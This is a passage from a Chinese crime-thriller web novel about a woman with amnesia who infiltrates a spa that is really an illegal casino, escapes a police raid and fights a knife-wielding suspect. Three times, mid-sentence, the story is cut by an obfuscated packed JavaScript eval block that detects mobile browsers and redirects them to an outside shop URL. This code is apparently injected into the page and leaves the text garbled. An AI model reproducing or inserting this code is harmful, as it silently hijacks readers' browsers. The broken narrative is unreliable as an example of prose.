“那些不行。地主哥,我欠借贷了,得马上还上。我又没学历,好工作也轮不上我。我听说过哪里能赚快钱,您本事大认识的人多,能不能介绍介绍我。”南钗说话发抖,充满希冀地看着地主。 地主犯了难,来回看她,往后躲一步,“你想去哪赚快钱啊。” “盛天新城里面那个水疗中心。”南钗说。 “嘶!”地主抓住南钗的手腕,把她驱赶到更里面,眉毛拧成一团,先看她裹在卫衣里的身形,又看她的眼眉,的确不太正经。纠结一会才说:“你挺懂啊。”他看了南钗好几眼,“那里银子多,有本事就能赚,我也认识个兄弟,你这样的倒也勉强可以……就是……我总搭了人情吧?” 他露出一副地主老财的神色,南钗懂了,“我不让你白牵线,前三个月工资给你抽一半,直接从你哥们那转就行。你放心,我肯定能赚多多的。” “行了,你还不一定能做满三个月呢。”地主挥了挥手,扣住南钗,拨了个电话。 大概一小时后,一个骂骂咧咧的男人走进来,和地主用方言吵架似的说了两句,到底没挑剔南钗什么,带着她出了拆迁区,街角停了辆破破烂烂的老别克,车窗贴了建材广告,把她塞进后座,说:“不准说话,让你做什么就做什么。” 南钗坐进去,视线被花绿的建材广告挡住,外面也看不见她了。男人主控锁掉车门,她捏了捏安全带卡扣,估算车窗不算厚,又瞄了眼男人的喉咙。 车出黄粱往西去便是罗浮区,男人车品很烂,一路踩油门按喇叭,把驾驶位搞得乒乒乓乓,车里升起一股烟臭味。 疲惫感涌遍全身,南钗肩颈酸痛,蔫成一棵失水的蔬菜。昨天这个时候她在江边跑步,现下不到二十四小时,累得像已在流亡中奔波了一个月。 南钗后知后觉地想,她有失忆症,但她今天晓得自己像谁。 像刘川生。 她把自己活成了刘川生。或者说,有人想让她活成另一个刘川生。那个人十成七八就在水疗中心里。 这副宿醉似的萎靡样落到男人眼里,倒更像太妹了。男人过了早高峰路段才安静下来。等到往南一转,南钗看见一片空阔的楼厦,路牌标通乡。 “你叫什么?”开进盛天新城小区的时候,车辆减速过卡,男人说了句。 “我姓赵。你怎么称呼。” “你后面就知道了。长得倒行,知道进去怎么做事吗?”男人从后视镜看了眼。他身上有种混社会的人特有的让人发冷的自来熟。 他不用南钗回答,减速越过小区广场,转过干涸的喷泉,念了段三字经,“多听话,别惹事,少打听。你明白?” “明白。”南钗赶紧说。 被男人带着,她第一次走进水疗中心,一进玻璃门就是股香薰味,挠得人心里发痒。帘子一掀,里面出来个穿连体阔腿裤的女人,没化妆,但头发整整齐齐挽在脑后。男人把南钗一交,“姐,就她。新招来的小赵,顶那个谁的缺。老才搭的桥。” 女人没动,也没理他,问南钗,“你叫什么?以前做什么工作?学历怎么样?”伸出做了裸色美甲的手,“身份证拿来。” “我叫赵小勤。勤劳的勤。”南钗越说越小声,“身份证扣贷款那边了。过两天拿来,行吗。” 女人皱皱眉,看南钗实在长得周正,又一副唯诺神态,“好吧,你先在外面做一天试试。今天下班交个电子身份证。对了,这里要轮班,一白一夜一休,不签合同,包吃住,只有绩效没有底薪。试用期出门要提前申请哈。” 这些话连珠炮似的没给南钗插话的机会,她被带着往里走。开车的男人没跟着。 水疗中心的内部空间比想象的宽阔得多,像个大电影院,每扇门都顶着铭牌。南钗猜度刘川生会不会在其中一扇门后,突然撞出来戳破她的伪装。 静悄悄的空无一人,一切都很隔音,就算她被拖进去再也出不来,也没人会知道。等警察查到她的踪迹,可能连殡仪师都复原不了她了。 想到这,南钗好像抓住一丝异绪,又马上断裂。她将来路的模型图刻进脑子。 阔腿裤女人把她带到倒数第二个房间,南钗以为会给她一件桑拿服,但是没有。这里没有衣柜也没有床,更和水疗没关系。这间房的功能更接近网吧前台。 一条没有灶的灶台,一尊大冰箱,一面墙的酒柜。 “你今天切水果装盘,让切什么切什么,有人来取。会用微波炉吧?别乱碰酒柜。”女人指了指灶台,那上面有把铁链拴在墙上的菜刀,还有个座台播音机似的东西。 女人看看表,把南钗扔下了,只留一句,“晚上七点下班,别出这个房间。” 她走了。南钗透过贴了玻璃纸的窗往外看,这里和大门是两个方向,应该对着一座内院。座台播音机响起来:“厨房,搞个杨桃。快点快点。” 冰箱下层是微波速食,上层堆满水果,有高级的套膜贴标的,也有市场买的塑料袋散装的,共同点是饱满新鲜。南钗想,水疗中心的水果消耗量很大。 她翻出两枚杨桃,切出一盘,手上汁水还没洗,门就被推开了。进来的是个小年轻,头发泻到腰后,鹅蛋脸挂着笑太多之后的僵。 鹅蛋脸连话都没和南钗说,直接端走杨桃。南钗刚洗完手,收音机又响了,“搞个柠檬拼青柠,带瓶朗姆,热两盒肉燥饭。快点快点。” 这次弄完她不洗手了。 来的还是鹅蛋脸,重心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026839|194460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑在灶台上,表情垮得更厉害,另一手捂着肚子。 “生理期啊。”南钗麻利忙活,切完青柠,从没听过阔腿裤嘱咐似的开了酒柜,取一瓶黑标朗姆,里面酒液密度很奇怪,像是兑过水。 她将肉燥饭盒从微波炉拿出来时,鹅蛋脸已经蹲地上了。南钗把所有东西整成一个托盘:“去吃片布洛芬吧。” 灶台上的收音机喋喋不休:“厨房厨房,东西好了没有,快快快!” 鹅蛋脸疼劲上来,站两次都没直起身,南钗俯下身,一手搭在她肩膀上,柔声说:“我去送一趟吧。哪个门?” 对方满额冷汗,闭着眼点点头,“旁边,最后一扇门。送到左边第四台。” 南钗端托盘走出去,走廊还是空的,只远处有总门开关的声音,空调开得很足,却也干燥。她忽然明白过来,原来是这个问题。 此地夸口是水疗中心,规模也就是个私人养生馆,可即便如此,也不该没见到有房间开门,本应来来往往的服务人员无影无踪。而且走廊一丝水汽都没透出来。 泰罗曼压根就不是做水疗的。 好像……也不是南钗之前猜测的地下服务业。 她心跳快了一些。背身用鞋跟和肩胛顶开最末那扇门,嘈杂声音和暖空气瞬间灌进耳朵。再转身,明晃晃的灯光和台球厅般方桌栉比的空间向她压来。 这些桌子并不用于打台球,上面摆着筹码、果盘和酒杯,边角还有两张电动麻将桌,诱得那些人分成菌落般若干小群,在桌边苍蝇围尸般扎了堆。端着单票和盘子的服务人员站在一边。 泰罗曼水疗中心是一层皮,揭下来,里面是间销金的赌场。 全连起来了,南钗一悚。日记里写过,陈扫天妻子案发后去科室哭诉,说陈扫天近一年不拿钱回家,常无影踪,怀疑他在外另安一家。 谁能想到,他安家在最慈悲的苦海,这里不需要皮肉或者粉末做介质,金钱直接对撞金钱。酒色财气,只挑身外之物损耗,一掏就空一座山。 陈扫天是在这认识刘川生的么? 南钗低低头,让头发遮住半边脸,送去托盘,还被说了句,“来这么慢,能不能干?” 她诺诺点头,微倾上身溜边走远了,放眼一扫在场没有刘川生的影子。但某张桌边站了个挺拔的男人,戴着墨镜,认不出是谁。 南钗悄悄拿出手机,打开录像功能,往前蹭了几步。 带她进来的阔腿裤女人从人群另一边晃出来,南钗悄无声息绕开。她余光注视那个陌生男人,注意保持距离,那人给她一种危险的感觉。 甚至于说,有一两次她也拿不准对方是不是看过来了。 赌场里一次性进了几个工作人员,在周围逡巡起来,气氛一下子变了。 被挤压得窗边越来越近,南钗把托盘抱在胸前,遮住半边脸,无意中往后一扫,顿时僵住。 这扇窗能看见内院一角,玻璃框出天然电视机,偶尔有打斗的人影入画。 她看清了,是个手握弹簧刀的大汉,将一个三十岁左右的男人逼入角落,男人穿了身通勤装,颧骨微高,提着根可笑的树棍,显然不是大汉的对手。 大汉刀子挥出,男人慌里慌张一扑,背包被割破大口子。 裹着塑料袋的东西从包里调出来,南钗定睛一看,是只一次性白泡沫饭盒。 11. 凶医 几秒之间,那男人已经被大汉逼到墙角,出了南钗的视线。南钗脚下发急,托盘遮着脸往外溜,生怕晚到一秒那位友军就喋血当场了。 待到她好容易出了赌场厅,走廊里已经乱起来,所幸这地方没有摄像头。 南钗三步并两步回到厨房,鹅蛋脸已经不见了,她顾不得许多,开了厨房窗户一脚跨出去。等到双脚落地,外头自然的风重新吹在脸上,南钗忽然反应过来。 那套衣服,那个饭盒,那只背包。 不对,那倒霉蛋怎么和日记里的凌记者那么像呢? 南钗心脏一下子提起来,贴着墙根跑过去,正见凌霄被大汉一腿扫在地上,手脚并用在地上扑腾,大汉刀尖寒光森森,对准凌霄的后心扎下去。 “咣!”金属托盘砸上大汉头侧。 大汉僵了两秒,朝旁边趔趄几步,撑住墙才没倒下去,刀还攥在手里,恶狠狠回头看见了南钗。 回应他的是兜头而来的第二记托盘砸击。 托盘和刀脊撞在一起,金属溅起火星,薄薄的托盘豁了口,一道裂缝横劈贯穿。南钗一下子感觉不到自己的手了。 大汉果然是个练家子,此刻太阳穴青筋鼓起,一对鼓眼瞪得凸出来,那牛腿南瓜似的手臂朝南钗抓来,颈肌一跳,竟是要喊人来支援。 南钗抽身一躲,在他开口前叫了句,“哎,警察同志!” 对方神色果然一变。这当口,后面凌霄摇摇晃晃站起来,双手抡起背包带,不知装了什么的大黑包砸在大汉颈后,这次就算他的脑袋是铁打的也撑不住了。大汉双眼一翻,跪倒在地,半天爬不起来。 “快走!”凌霄还要去带南钗,不料南钗一个字不说,率先逃得比他快多了。他立马拖着一条瘸腿跟上去。 两人跑到院外,上次蹲守的那栋楼角之后,才气喘吁吁靠墙蹲下去。凌霄抱着他那只大包,就像流浪汉抱着自己的狗,望天放空了足足五分钟才缓过来。 五分钟后,凌霄一摸包,脸白了,“我相机丢了。” 黑背包被划了个大口,保住了凌霄的小命,但也让相机和剩盒饭一道奔向了自由。 他喘气都不稳了,“我拍的证据都在里面。”说着就要往回冲,被南钗一把拽住,凌霄转头,“我之前好像拍到你说的那个刘川生了!”南钗不放手,“你的腿!” 太晚了,凌霄已经“嗷”了半嗓子又咽回去。撩开裤管,脚踝肿得发亮,像袜口包了颗青团。 “你相机是荔枝皮纹的那把?快门是红点?” “是,哎不对,你要干什么?” 南钗把龇牙咧嘴的凌霄按回阴影,说:“在这等我。” 凌霄震惊地看着南钗,向前捞她,但没捞住,他冲着南钗的背影想喊又不敢喊,要追又追不上,扶着墙用气声嘶叫:“你回来!你回来!” 南钗听不见他拍大腿,水疗中心那边再一次风声鹤唳,她瞅了个空子,原路钻回内院。大汉已经不在那了。她心里一抽。 顺着墙根窥视过去,刚刚的战场只剩几根地砖缝里的草梗招摇着,碎玉洒金铺了一地,饭盒被踩扁,蛋炒饭全都被抖出来。没有相机的影子。 之前那个开车送她的男人搀着大汉,正往水疗中心里急走。大汉手捂前胸。相机带子绕在男人手腕上,底下的黑方体一摇一晃,过门框时不注意还磕了一下。 南钗潜在两人身后,水疗中心里面全乱了,阔腿裤女人一改温柔面目,叉着腰骂人,乒乓的关门声和跑步声不断,像是在躲,又像是在找什么人的踪迹。 “你早上带来的那个赵小勤呢?”女人细眉竖起,转头看向厨房,“人从厨房跑出去了!” 男人还搀着大汉,“不,不知道啊。姐。烽哥被打成这样了。”大汉捂在前胸的手抬起来,原来他一直拿着那块凹凸不平的托盘,女人一看,眉毛皱得更深。 “你招来的贼。”她狠狠瞪了男人一眼。 男人神色一阴,“不会是条子吧。”他啐了口,“估计早跑了!” 女人拿起手机打了通电话,水疗中心的撤离速度陡然加快,赌场的东西被搬得一片狼藉。南钗躲在一间赌客扔下的房里,看出点门道来。 这里没有监控,也没有电脑身份录入,只有一沓厚厚的账本。他们所做的大多工作不是卷携财产,而是抹灭痕迹物证。 不就是被凌霄拍了照片,相机都到手了,他们至于吗? 莫非她偷偷录像被发现了? 男人被阔腿裤派了出去,大汉捂着脑袋往赌场里走,阔腿裤突然转身,南钗缩了回去。 门外走廊,阔腿裤快步走过,途经这扇敞开的门时步子慢下来。只见房间里天光亮亮,一片混乱,枕头扔在地上,床尾翻倒泡过水的烟灰缸,灰渍向内蔓延。女人视线被门框切断。 大约赌客从临时的歇脚地逃走时,慌到忘记顾惜房间设施。这帮糟践东西的赌狗。阔腿裤女人眼光小薄刀似的削进房间,她手里还有另一把刀,不小也不薄,锥子一样。 里面静悄悄的,没人,但偏偏让她觉得安静得过分了。 门框后,南钗背贴衣柜,衣柜另外半边门开了道缝,形成微不足道的遮蔽角度。 她感觉到有人停在门口,呼吸如游丝,连重心都不敢从左脚挪到右脚,生怕踩响了地板。 突然,南钗感觉头发被人从后面扯了一下。 力道不轻不重,南钗瞬间有种被冬天的西江水淋了一后背的寒意,忍住激灵,缓缓回头看,对上一双墨镜后的眼睛。 又是个男人,长脖子长腿,蜷在浅窄的衣柜里,半张脸被阴影遮着,挡光的眉骨下是淡淡的眼瞳,像鬼。 他X的,世界上怎么这么多男人。 南钗今天不认识他,但他明显认识南钗。而且不像友军。 “嘘。”南钗严厉地看着鬼,他们现在一条船上,剪短的发梢从男人手里滑落。 视觉适应片刻,南钗看清衣柜暗处,鬼的里衣下摆扎进裤子,土爆了,勒出比肩细很多的腰,腰侧还装了把枪柄。 此人绝非善类。 她后退半步,外头的阔腿裤女人好像走了。鬼也有了动作,他拿出一部手机,低声说了四个字。说话的时候眼睛还一动不动盯着南钗。 “开始收网。” 南钗头皮炸了静电,扭头就逃。 鬼蹿出来抓南钗的兜帽,腰间铐子银光一闪,“你站住!还想跑?”南钗抄起地上的枕头,回手拍了他一脸湿烟灰。 出去时猛带上门,一转弯好像撞到了什么东西,她下意识跳开,腕底一凉,回头看去,是那个阔腿裤女人被撞倒了,手上还攥着那把尖锥小刀,没有血。 南钗抬手,看见自己袖子被割破半边,露出底下的白皮肤,凉凉的。 那台相机掉在女人旁边,两人同时反应过来去抢,也几乎一起抓住,南钗对女人吼了句,“要死啊,屋里有警察!” 阔腿裤女人愣了下,南钗趁机抽走相机,把女人一搡。她冲门后又喊了句:“警察同志!开赌场的在这,女的身高一六九,她有刀!” 说完,趁在场所有人反应过来之前,南钗抱着相机逃之夭夭。留下后面一片混乱的响动。男警察本想来抓南钗,却只能先按住阔腿裤女人,朝南钗的背影破口急声:“你给我回来!” 南钗当然不会回来,还跑得愈发快了。抄起相机时就知不好,边角疙疙瘩瘩的,一晃还有沙响,里面怕是摔坏了。本想从正门跑出去,差点迎面撞上突入的警察。她急转弯换了条道,只能顺着楼梯往上跑。 上到二楼,远远听见底下喊:“别动!蹲下!”有人跟着往上跑来。 南钗从二楼窗户翻出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026840|194460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,外窗台不知结不结实,她踩了一脚,确认不是装饰石膏贴条,整个人大壁虎似的趴上外墙。水管在一米之外,南钗踮脚蹭过去,伸长胳膊,一跃一挂。 短短两秒间,她从壁虎进化成猿猴,完成了由蜥形纲到合弓纲的伟大跃迁。三面无靠上下虚空的感觉真不好,南钗感到水管子冷得烫人,终于赶在院子彻底被包围前滑到下面,心中升起一丝难以品觉的滋味。 刘川生也溜过排水管来着。 那么,从老屋301跳到过302的还会是刘川生吗。 南钗总觉得有什么难以捉摸的线索,被她遗忘了,通向它的路途被突如其来的逃亡打断,它现在就遗落在老屋里。 凌霄等到南钗时,只见她脖子上挂着相机,跑出了百米冲刺的速度,几乎是跌在墙角后面,又马上拽着他的衣服,“快走。可能有人在追。” “我看见警车了。咱们要不……”凌霄说。 “不要。” 南钗一把揪住他胸前的衣服,把人往暗处拽,凌霄脚下一崴,脸都扭曲了,被南钗制止,“不许叫。” 他看了看南钗胸前的相机,闭上嘴跟着。等两人跋涉到盛天新城边缘的另一角落,凌霄才被允许开口,他捧着相机如获至宝,警察的事抛到脑后去,问南钗,“刚刚忘了问,你怎么来这了?” “你怎么来这了。”南钗反问。 凌霄闭上咧着的嘴,抹了把额头,“上次咱们遇见那天之后,那里就警惕了,我什么都拍不到……谁知道一混进来就被发现了……”他嘟囔了一句,“一个月这么点钱,拼什么命啊……” 估计他们早就等凌霄自投罗网了。南钗想,倘若水疗中心和陷害她的人有关,怎么可能发觉不到这傻鸟似的记者。 凌霄不知,用眼睛看南钗,南钗淡淡说:“我来找我前男友。” “你俩不分了吗?”凌霄小惊失色。 “他用我的身份证借贷。”南钗抿抿唇,防止里面的火车跑出来,接着撒谎,“我活不下去了。” 凌霄抱歉地把拳头捂在嘴前,南钗的下一句话让他的手掉了下去,“我能住你家吗。” “你,和我,住一起?”凌霄眼睛瞪大了。 “不。”南钗摇头,在凌霄松口气之前,宣判道:“你从你家搬走,我住进去。今天还像上次那样,你就当没见过我,不许跟任何人提起我。” “你……前男友的债主逼你这么狠吗?” “我是你的救命恩人。还是说,你觉得借住不够报答,还想把二百万先替我还了?”她双眼黑白如棋子,但凌霄看了半天,只看出黑没看出白。 “您住您住您住,我保证一丝风声都不走。”凌霄痛苦地说。 南钗满意了,靠墙歇息半晌,水疗中心那边嘈声渐息,她睁开眼睛,刚准备走,忽然想起来,“凌记者,我拜托你帮忙查的那件事,怎么样了?” “哦哦!查到了。”凌霄兴奋起来,“绝密消息,那天抓的好像是一一零案的重要嫌疑人,但是最后没抓到。不过跟你没关系就是了。”他耸肩。 “嫌疑人?有人看见ta杀人了吗?” “嗨,这就不清楚了。”凌霄说:“但是凶器已经找到了。” 南钗一怔,遍身过静电似的,良久才声音空荡地问:“在哪找到的?那家餐厅里?以后谁还敢去那吃饭呢。” “不是。听说在西江边找到的。我告诉你你最近可不准说出去啊。”凌霄搓着相机绳,“昨天白天吧,有人举报在西江沿岸桃源市场段的垃圾桶里,发现了一个蓝塑料袋,打开里面是凶器和血衣。”他一拍大腿,“这不就锁定了。听说还有钓鱼佬指认作证呢。” “垃圾桶里?”南钗听见自己的嗓音问。 凌霄点头,“对,听说是江边的一只废弃垃圾桶,长得像个张嘴的青蛙。” 12. 凶医 吴贵春是老桃源公园的管理员。 老桃源公园原来和桃源市场、桃源小区配套,占了个依傍西江的便宜得名公园。但地皮小,寥寥几片稀疏乔木,没有功能价值,很快被取缔了。 公园拆除后,吴贵春的岗位被划到社区部门,和他一起被保存下来的,还有一只旧青蛙形垃圾桶。它在施工时被挪到江滩上,竣工后又被遗忘在那,成了一只在市政管理范围外的“孤儿垃圾桶”。 替它清理垃圾的只有老熟人吴贵春。 吴贵春清垃圾是为了废品,补贴家用。这个习惯从公园时代就有了。他一般自持身份不同于环卫工人,更不是拾荒者,从不探身去钻垃圾箱,或者拖一只破破烂烂的胶丝袋。他是公园管理员,有编制的事业人员。 他习惯在侧腰袢带塞几只菜市场剩的净塑料袋,瘦癯的小老头,昂首挺胸,仿佛还提着手电筒在巡视什么,检点各个垃圾桶,用发亮的铁钩扦出易拉罐和塑料瓶,郑重地将它们扎成一袋子。 吴贵春最喜欢青蛙垃圾桶。虽然在他的巡查路线中,每三天的中午才会去那一次。江滩边人少,没人专门提垃圾扔到那。来客只有钓鱼人。 钓鱼人的垃圾最好,他们大都讲卫生,有闲来钓鱼的也不吝惜弃物,扔掉的易拉罐、烟盒和废弃钩漂都是好东西。不脏又值钱。就是人太稀疏,三天都装不满一桶垃圾。 十一月十三日,日上中天,吴贵春午饭后又闲步到了西江滩桃源段。 他下去时,钓鱼人正提着空篓上岸,登至最后一阶。吴贵春并不把钓鱼人当成金主,他来钱并不靠人施舍,全靠一双好手好腿。两人擦肩而过。 青蛙垃圾桶正在那等他,大嘴朝天张开,肚里装着等待诉说的友情证明。吴贵春欢喜地走过去,有点像儿童去拿小朋友为他偷留的一颗糖。 他拿出钥匙,插`进防范其他拾荒人的垃圾桶门锁,旋开铁侧盖,俯身就要去掏。一堆垃圾泻出来,险些扑了他一脸。吴贵春连连向后跺去,鞋帮互蹭掉沾上的尘土,大骂一声:“我X他祖宗!” 这些垃圾比平日多太多,之前连半桶都装不足,现下却泥石流似的围住他的脚。里面不乏石子泥块,瓶罐盒包都被埋在下面了。是哪个环卫工这么丧良心?这帮上不得台盘的派遣工!吴贵春气个够呛。 他蹲下来拾掇这一摊子腌臜,垃圾装一个袋,废品装另一个,很快收捡干净。青蛙垃圾桶里还有一小堆,是靠上的那半桶内容物,随着底下走空自然坠到底部。 吴贵春搓了搓灰手套,反正都脏了,干脆伸手进去摸。 是些硬脆的枝叶,厚厚一层,他又要骂,手指却冷不丁挨到个有分量的滑东西。扯出来,是只沾满灰的蓝色塑料袋,里面鼓鼓囊囊,软中带硬的一坨,好像是衣服包着什么。 吴贵春多年捡废品的直觉告诉他,里面包着铁。 解开袋口,一股沉闷的腥气钻出来,像朽老木头,带着些不妙的湿润感。有点像解冻猪肉在塑料袋里渗了红水,猪肉取走,红水和被捂在袋里好几天的那股味道。 没猪臊,但回味比猪腥得多,腥得吴贵春头皮打颤。 他拨开袋口,微黄的白布遍布锈色,与新鲜空气亲密接触,腥味更明显。真是件衣服,两条袖子,前襟一大团锈色中间漏了个洞,透出后面的浅色,像个眼珠子似的瞧吴贵春。里面裹着一支金属锐物,露出尖端,银光光的一道,它仿佛对吴贵春呲牙一笑。 吴贵春手中铁钩乒铃坠地。 南钗搬进了凌霄的房子。 说是搬,除却身上的衣服和兜里一百元钱外没行李。她站在凌霄身后,看着他掏钥匙开门,里头露出个四十多平的小二居。 “这是我刚工作时租过的房子。离车站近,去哪外采都方便。”凌霄转身给她拿拖鞋,“住两年住出感情了,就买下来,但也一直空着。由奢入俭难呐。” 他一指窗外,一列火车从远方进站,窗户震响,连带窗边的折叠桌一道嗡嗡。凌霄笑了句,“住习惯就好了。有这个声音睡得更香。” “我不会在这待太长时间。”南钗承诺道。 凌霄四处转一圈,没什么可收拾的,看她一副长在沙发上的死样子,又去单腿蹦着换鞋,“我出去一趟。你熟悉熟悉吧,衣柜里有我几套衣服,你看了别害怕。备用钥匙在鞋柜上。”说完走了。 南钗点头,想说不管凌霄衣柜里有什么,她都不会害怕。除非那里面也长出一个配枪的警察来。 她躺够了,真过去看了,一开柜门就撞上套制服。 快递员制服。 旁边还挂着保安制服、工地山寨迷彩服和空调维修师傅的马甲。 碰巧开门声响起,南钗躲到门后,只见凌霄一步高一步低地挪进来,手里提了只大购物袋。 “我给你买了点吃的和日用品。你看看还缺什么吗。”凌霄说:“这栋楼单元门有锁,呼铃时灵时不灵的,外卖经常送不上来。” 他看见南钗从卧室走出来,尴尬一笑,“我不是变态啊,那几套是前两年我刚做暗访和调查的时候弄的,后来发现不太用得上,放那落灰了。你嫌奇怪扔了就行。” “这样。”南钗说:“没事,放着吧。” 凌霄松了口气,放好袋子,腰间电话响了两声。他跟她商量,“我那边来了点工作,你先待着,缺东西给我发信息。行吗?” 南钗到这才有了挟恩图报的羞耻感,但也只是瞬间划过。她理所当然点点头,“好。谢谢。”又叫住凌霄,“能借我个电瓶车吗?” 凌霄彻底走了。屋子冷寂下来,南钗又倒在沙发上,许久才想起,忘问凌霄的相机能不能修好了。 她仰视上方,天花板仿佛在低垂,顶灯晕成一个太阳似的大光点,即将降落于她的鼻尖。 南钗瞠目,先看清了天花板的纹理,每一丝小裂纹。然后看清了太阳,太阳后面是刘川生狐獴般的脸,扭曲变幻,成了一只幻觉中的蓝塑料袋。它融化,蓝色在所谓的阳光中扩散,把世界也晕染成蓝色。 她在沙发下坠,坠到幻视的海面之下,氧气远离,不存在的青蛙咕咕呱呱地大叫起来。 到底忘记了什么呢? 蓝塑料袋怎么可能出现在江边?它早被南钗安放在一个未被检查的位置。有人偷走了它,又专门掐准她的行踪,按时扔进那只青蛙垃圾桶吗?他们又是怎么知道它藏在哪的? 哪怕不排除昨天的她在欺骗今天的她,可老屋周围都是布控,就算是她,也没办法在警察眼皮底下做这些事。更何况那根本是自己挖坑埋自己。 再往前捋捋,昨天发生了什么呢? 早上江边跑步,下午和警方对谈,也就是在建立初步信任的时候,有人层层转折举报“她”将凶器抛弃在江边。晚上和苏袖吃饭时,警察完成初步判断,直接翻脸来抓人。这套连环扣时间卡得太死了。 陷害她的人不希望看到她和警方互信。 心里有个隐隐约约的声音,戳动南钗,低声提醒一定有东西被她忽略了。 那丝若即若离的线索,像是她很久之前途经过的一枚土包,她当时迈了过去,现在更是想不起来。 南钗突然坐起来,视网膜底的蓝光斑随视线移动。 她得回一趟老屋。 晚七点半。 桃源小区最深处静无声息,一辆车亮起很昏暗的内灯,又转瞬熄灭了。虎山玉坐在另一辆车里,对台子训了句:“干嘛呢?谁开的灯!” 对面哀叫:“看错了,以为来人了呢。哎哟,撞死我了。” “他在车里坐一天了,腿麻。”另一个声音轻笑。 那边驶来一辆三轮小货箱车,印着快递logo,车把后面的人看不清,但声音响亮得很,是个男的。 “您家那十一号楼,不是往北开吗?” “哦,哦,您在阳台上看见我了?行我现在过去。” 小车在楼底绕了一圈,估计看清走错了楼号,又扭头离开。过了三分钟,虎山玉透过窗缝听见货厢关门的声音,然后是另一处单元门的响动。她放下心来。 黑暗寂静中,南钗去而复返,拖走手机播放音频的界面。她顺着树丛和电线杆的影子,贴到老楼楼根下,正好和两辆布控车隔了个花坛。 她感觉衣服被冷汗粘在背脊之上。 刚才开车从老屋窗下过时,南钗抬头望了一眼,正巧望见一团可疑的暗影。 现在离得更近,南钗彻底看清了。那影子趴在二楼防盗窗顶端,服色差不多和外墙融为一体,正扒着空调外机,伸出黑乎乎的胳膊往上爬。再上头就是她住的老屋。 对方想潜入她的屋子。 是要拿走什么吗?还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026841|194460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留下什么。 南钗立刻意识到,老屋里可能真的有点东西,而她一直想不破的线索的尾巴,敌人正在试图偷走它。 那么今晚过后,她就将是板上钉钉的逃犯了。 虎山玉在车里半躺半坐着。 她的腿有点肿胀,不得不在鞋里活动脚趾,以免肢体麻木。按理说她可以下车走一圈,但不知为何,虎山玉就是有种今夜山雨欲来的感觉。 这两小时不是虎山玉轮班,但她还是眯着一只眼注意窗外。 倏然,一阵汽车警报声在老楼后面响起。 附近两辆车的警员都被惊了,虎山玉跨下车,打了个手势,一半警员留守原地,另一半朝声源方向包围而去。 行至中途,听见那边传来剧烈的衣物摩擦声,紧接着好像有人闷哼。一阵咚咚咚的脚步往远处减弱消失。虎山玉眼光一厉,直接扑了过去。 一分钟前,南钗在裤腿上蹭掉捡石头沾的灰,不远处汽车尖叫起来,她趁机溜向墙根下面。 上头趴着的人影受了惊,眼见着进不去半米外的窗户,干脆返身向下,蝙蝠似的挂下来,三五个不太标准的吊环动作就落了地。 也发现了躲在视觉盲区里的南钗。 南钗来不及看对方的脸,招手一扬,刚在花坛里攥的沙子飞出去,却没全泼在对方脸上。那人反应快极了,扭脸用袖子一挡,紧接着要从那件深色衣服里滑出来似的,探底斜出一拳砸向南钗。 她向后闪,脊背撞上楼墙,迅速矮身躲过一击,顺着重力惯性铲向那人的脚。又被躲开。 南钗还未看清来势,凭借直觉一缩一滚,恰好避过头顶扎下来的寒芒,对方不出意料地带了锐器。 警察的脚步声被打斗盖住了,但傻子也知道包围圈越来越近。那人想跑,却被南钗一把攥住裤脚,一脚没踹开她,又匆忙返身挥了一刀。 南钗被逼退,怀里却亮出一束白光,手电扫过他来不及遮住的眼睛,以及整张脸,一瞬间都被照亮了。 一张阴沉瘦面,每一道皱纹都清晰无比,略微尖嘴猴腮,狐獴似的轮廓让人心里一跳。 刘川生。 “又是你。”刘川生被激起了凶性,手机手电到底不够亮,他刀尖一挑,南钗肘击向他肋侧,却只带到衣角,自己耳边反而传来牙酸的声音,那刀尖贴着南钗的太阳穴扎入楼墙,又变了方向改刺为切,朝南钗的眼睛扫来。 南钗退无可退,行凶技巧不如刘川生娴熟,只能取个笨办法舍身向前,手一抬一扬,刘川生闷哼一声,动作僵滞,再翻转扎向南钗颈后的刀尖偏了过去。 他并不是吃素的,知道行迹暴露,竟在南钗上手制他前,一脚撩上去。南钗髋侧剧痛,扶稳后墙,再抬头时刘川生已经不见了,他消失的方向只有荒地土石堆叠。 南钗手里的两个东西被捏得咯吱作响,一支是发卡,沾了点血,刚狠狠招呼过刘川生的额角。可惜没有伤到要害;另一支则是个长方扁的玩意,像是一次性打火机,是从刘川生衣兜里挤出来的。 警察脚步声就在拐角外,冷厉的女声骤然响起:“别动,警察!” 虎山玉扑出来,枪口对准的却是一片空地,好像从未有人在此打斗过,之前的响动只是幻听。 另一边的警员包围过来,摇摇头,“没有。” “扩大搜索范围。人现在跑不远。”虎山玉当机立断,“还有你,带个人去调监控。我联系‘家’里。” 